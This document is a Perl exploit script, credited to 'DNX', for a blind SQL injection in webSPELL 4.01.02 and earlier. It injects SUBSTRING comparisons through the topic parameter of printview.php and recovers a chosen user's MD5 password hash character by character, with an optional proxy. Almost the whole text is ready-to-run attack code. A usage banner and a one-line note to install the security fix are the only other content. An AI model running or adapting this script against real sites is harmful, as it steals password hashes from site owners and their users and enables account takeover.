webSPELL versions 4.01.02 and below remote SQL injection exploit.
7c807c519d7546a867aa112ace64dccde86e27c9a74c12c96c1630f57b2f037c
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[2])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n -------------------oOO---(_)---OOo-------------------";
print "\n | webSPELL <= v4.01.02 (topic) Remote SQL Injection |";
print "\n | coded by DNX |";
print "\n -----------------------------------------------------";
print "\n[!] Bug: in printview.php line 61, inject sql code in \$topic";
print "\n[!] Solution: install security fix";
print "\n[!] Usage: perl ws.pl [Host] [Path] [Topic] <Options>";
print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -tid 1 -uid 2 -t my_user";
print "\n[!] Options:";
print "\n -tid [no] Valid topic-ID";
print "\n -uid [no] User-ID, default is 1";
print "\n -t [name] Changed the user table name, default is webs_user";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = 1;
my $table = "webs_user";
my $topic = 0;
my %options = ();
GetOptions(\%options, "tid=i", "uid=i", "t=s", "p=s");
print "[!] Exploiting...\n";
if($options{"tid"})
{
$topic = $options{"tid"};
}
else
{
print "[!] Exploit failed, missing parameter\n";
exit;
}
if($options{"uid"})
{
$user = $options{"uid"};
}
if($options{"t"})
{
$table = $options{"t"};
}
syswrite(STDOUT, "[!] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && $h <= 57)
{
if(istrue3($host, $path, $table, $topic, $user, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
if(!$found)
{
$h = 97;
while(!$found && $h <= 122)
{
if(istrue3($host, $path, $table, $topic, $user, $i, $h))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}
print "\n[!] Exploit done\n";
sub istrue3
{
my $host = shift;
my $path = shift;
my $table = shift;
my $tid = shift;
my $uid = shift;
my $i = shift;
my $h = shift;
my $ua = LWP::UserAgent->new;
my $url = "http://".$host.$path."printview.php?board=1&topic=".$tid."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
my $response = $ua->get($url);
my $content = $response->content;
my $regexp = "<b>Main Board</b>";
if($content =~ /$regexp/)
{
return 1;
}
else
{
return 0;
}
}